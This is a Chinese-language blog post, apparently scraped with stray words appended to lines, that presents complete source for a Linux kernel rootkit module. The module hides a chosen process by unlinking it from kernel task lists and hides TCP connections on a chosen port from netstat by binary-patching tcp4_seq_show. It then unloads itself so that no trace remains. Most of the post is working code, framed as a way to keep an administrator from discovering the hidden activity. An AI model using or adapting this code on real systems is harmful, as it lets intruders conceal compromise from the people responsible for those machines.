Linux系統中隱藏掉你的rootkit的TCP鏈接

前文中,我描述了一種完全隱藏進程的方法:
https://blog.csdn.net/dog250/article/details/105292504
而且,我給出瞭如何恢復的方法:
https://blog.csdn.net/dog250/article/details/105371830


node

可是不過癮,通常而言,rootkit都是會偷偷創建一個TCP鏈接的,那麼如何不讓經理髮現這些鏈接呢?雖然經理看不到進程,可是經理會netstat啊。linux

使用net namespace能夠隱藏全部的鏈接,方法參見:
https://blog.csdn.net/dog250/article/details/103182447
可是,如此一來,經理會懵的,經理會徹查這是怎麼回事,因此這不妥。

數據結構

必需要僅僅隱藏特定的TCP鏈接!tcp

顯然,將特定的TCP鏈接從ehash中摘除是一個完全的方案,然而這須要hotfix tcp_v4_rcv函數,大規模二進制hook的手藝我已經發誓再也不玩了,因此此次,我也俗套一把,我來hook掉TCP鏈接的顯示接口,即 tcp4_seq_show!ide

和常規方法不一樣的是,我不使用替換operation指針的方法,而是稍微採用二進制hook的方法,我會在tcp4_seq_show的最前面調用下面的邏輯:函數

void stub_func_tcp_seq_show(struct seq_file *seq, void *v)
{
	// 過濾掉特定端口的TCP鏈接的顯示
	if (v != SEQ_START_TOKEN && ((struct sock *)v)->sk_num == 1234)  {
		// 1234這個當即數是須要根據模塊參數校準的,若是符合,便skip掉原始tcp4_seq_show的stack。
		asm ("pop %rbp; pop %r11; xor %eax, %eax; retq;");
	}
}

其實就這麼簡單,接下來就是例行的poke過程:ui

void hide_net(struct task_struct *task)
{
	unsigned short *pport;
	char *tcp_stub;
	s32 offset;

	_tcp4_seq_show = (void *)kallsyms_lookup_name("tcp4_seq_show");
	if (!_tcp4_seq_show) {
		printk("_tcp4_seq_show not found\n");
		return;
	}
	hide_tcp4_seq_show = (void *)___vmalloc_node_range(128, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
	if (!hide_tcp4_seq_show) {
		printk("nomem\n");
		return;
	}

	memcpy(hide_tcp4_seq_show, stub_func_tcp_seq_show, 0x64);
	pport = (unsigned short *)&hide_tcp4_seq_show[19];
	*pport = port;

	tcp_stub = (void *)hide_tcp4_seq_show;

	jmp_call[0] = 0xe8;

	offset = (s32)((long)tcp_stub - (long)_tcp4_seq_show - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();
}

雖然這種方法沒有直接摘鏈表的方法完全,但也是很牛X的,至少比替換operations結構體的方法來的簡單吧!spa

連同以前的隱藏進程的代碼一塊兒,完整的代碼以下:.net

#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/sched.h>
#include <linux/nsproxy.h>
#include <linux/cpu.h>

char *stub = NULL;
char *addr_user = NULL;
char *addr_sys = NULL;
char *_tcp4_seq_show = NULL;
unsigned long *percpuoff = NULL;

static unsigned int pid = 0;
module_param(pid, int, 0444);

static unsigned int hide = 1;
module_param(hide, int, 0444);

static unsigned short port = 1234;
module_param(port, short, 0444);

// stub函數模版
void stub_func_account_time(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
	// 先用0x11223344來佔位,模塊加載的時候經過pid參數來校準
	if (p->pid == 0x11223344)  {
		asm ("pop %rbp; pop %r11; retq;");
	}
}

void stub_func_tcp_seq_show(struct seq_file *seq, void *v)
{
	// 過濾掉特定端口的TCP鏈接的顯示
	if (v != SEQ_START_TOKEN && ((struct sock *)v)->sk_num == 1234)  {
		asm ("pop %rbp; pop %r11; xor %eax, %eax; retq;");
	}
}

#define FTRACE_SIZE 5
#define POKE_OFFSET 0
#define POKE_LENGTH 5

#define RQUEUE_SIZE 2680
#define TASKS_OFFSET 2344
#define CPU_OFFSET 2336

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

// 須要額外分配的stub函數
char *hide_account_user_time = NULL;
char *hide_tcp4_seq_show = NULL;
unsigned char jmp_call[POKE_LENGTH];

#define START _AC(0xffffffffa0000000, UL)
#define END _AC(0xffffffffff000000, UL)

void hide_net(struct task_struct *task)
{
	unsigned short *pport;
	char *tcp_stub;
	s32 offset;

	_tcp4_seq_show = (void *)kallsyms_lookup_name("tcp4_seq_show");
	if (!_tcp4_seq_show) {
		printk("_tcp4_seq_show not found\n");
		return;
	}
	hide_tcp4_seq_show = (void *)___vmalloc_node_range(128, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
	if (!hide_tcp4_seq_show) {
		printk("nomem\n");
		return;
	}

	memcpy(hide_tcp4_seq_show, stub_func_tcp_seq_show, 0x64);
	pport = (unsigned short *)&hide_tcp4_seq_show[19];
	*pport = port;

	tcp_stub = (void *)hide_tcp4_seq_show;

	jmp_call[0] = 0xe8;

	offset = (s32)((long)tcp_stub - (long)_tcp4_seq_show - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

}

void restore_net(struct task_struct *task)
{
	s32 offset = *(unsigned int *)&_tcp4_seq_show[1];

	stub = (char *)(offset + (unsigned long)_tcp4_seq_show + FTRACE_SIZE);

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], &stub[0], POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	vfree(stub);
}

void hide_process(void)
{
	struct task_struct *task = NULL;
	struct pid_link *link = NULL;

	struct hlist_node *node = NULL;
	task = pid_task(find_vpid(pid), PIDTYPE_PID);
	link = &task->pids[PIDTYPE_PID];

	list_del_rcu(&task->tasks);
	INIT_LIST_HEAD(&task->tasks);
	node = &link->node;
	hlist_del_rcu(node);
	INIT_HLIST_NODE(node);
	node->pprev = &node;

	printk("task hide is:%p\n", task);

	hide_net(task);
}

#define CRQ_OFFSET 160
int reshow_process(void)
{
	struct list_head *list;
	struct task_struct *p, *n;
	unsigned long *rq_addr, base_rq;
	char *tmp;
	int cpu = smp_processor_id();
	struct task_struct *task = current;
	struct pid_link *link = NULL;

	// 根據current順藤摸瓜找到本CPU的rq
	tmp = (char *)task->se.cfs_rq;;
	rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);
	tmp = (char *)*rq_addr;

	// 根據本CPU的rq以及per cpu offset找到基準rq在percpu的偏移
	cpu = (int)*(int *)(tmp + CPU_OFFSET);
	base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];

	task = NULL;

	for_each_possible_cpu(cpu) {
		tmp = (char *)(percpuoff[cpu] + base_rq);
		list = (struct list_head *)&tmp[TASKS_OFFSET];
		list_for_each_entry_safe(p, n, list, se.group_node) {
			if (list_empty(&p->tasks)) {
				task = p;
				break;
			}
		}
		if (task) break;
	}

	// 進程可能sleep/wait在某個queue,請喚醒它重試
	if (!task) return 1;

	restore_net(task);

	link = &task->pids[PIDTYPE_PID];

	hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);
	list_add_tail_rcu(&task->tasks, &init_task.tasks);

	return 0;
}

static int __init rootkit_init(void)
{
	// 32位相對跳轉偏移
	s32 offset;
	// 須要校準的pid指針位置。
	unsigned int *ppid;


	addr_user = (void *)kallsyms_lookup_name("account_user_time");
	addr_sys = (void *)kallsyms_lookup_name("account_system_time");
	if (!addr_user || !addr_sys) {
		printk("一切尚未準備好!請先加載sample模塊。\n");
		return -1;
	}

	// 必須採用帶range的內存分配函數,不然咱們沒法保證account_user_time能夠32位相對跳轉過來!
	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		printk("還沒開始,就已經結束。");
		return -1;
	}

	if (hide == 0) {
		offset = *(unsigned int *)&addr_user[1];
		stub = (char *)(offset + (unsigned long)addr_user + FTRACE_SIZE);

		percpuoff = (void *)kallsyms_lookup_name("__per_cpu_offset");
		if (!percpuoff)
			return -1;
		if (reshow_process())
			return -1;

		get_online_cpus();
		mutex_lock(_text_mutex);
		_text_poke_smp(&addr_user[POKE_OFFSET], &stub[0], POKE_LENGTH);
		_text_poke_smp(&addr_sys[POKE_OFFSET], &stub[0], POKE_LENGTH);
		mutex_unlock(_text_mutex);
		put_online_cpus();

		vfree(stub);

		return -1;
	}

	// 爲了能夠在32位範圍內相對跳轉,必須在START後分配stub func內存
	hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
	if (!hide_account_user_time) {
		printk("很遺憾,內存不夠了\n");
		return -1;
	}

	// 把模版函數拷貝到真正的stub函數中
	memcpy(hide_account_user_time, stub_func_account_time, 0x25);
	// 校準pid當即數
	ppid = (unsigned int *)&hide_account_user_time[12];
	// 使用當即數來比較pid,否則模塊釋放掉之後pid參數將再也不可讀
	*ppid = pid;

	stub = (void *)hide_account_user_time;

	jmp_call[0] = 0xe8;

	offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 隱藏進程,將其從數據結構中摘除
	hide_process();

	// 事了拂衣去,不留痕跡
	return -1;
}

static void __exit rootkit_exit(void)
{
	// 事了拂衣去了,什麼都沒有留下,也沒必要再過問!
}

module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

該模塊有三個參數:指針

  • pid:須要隱藏的進程pid,只有在hide=1時有效。
  • hide:是隱藏(1)仍是恢復(0),當隱藏時,須要pid和port。
  • port:須要隱藏的目標端口,目標端口爲port的TCP鏈接都會被隱藏。

放心加載,模塊不會加載成功,把事情作了,事了拂衣去,深藏身與名。


浙江溫州皮鞋溼,下雨進水不會胖。

相關文章
相關標籤/搜索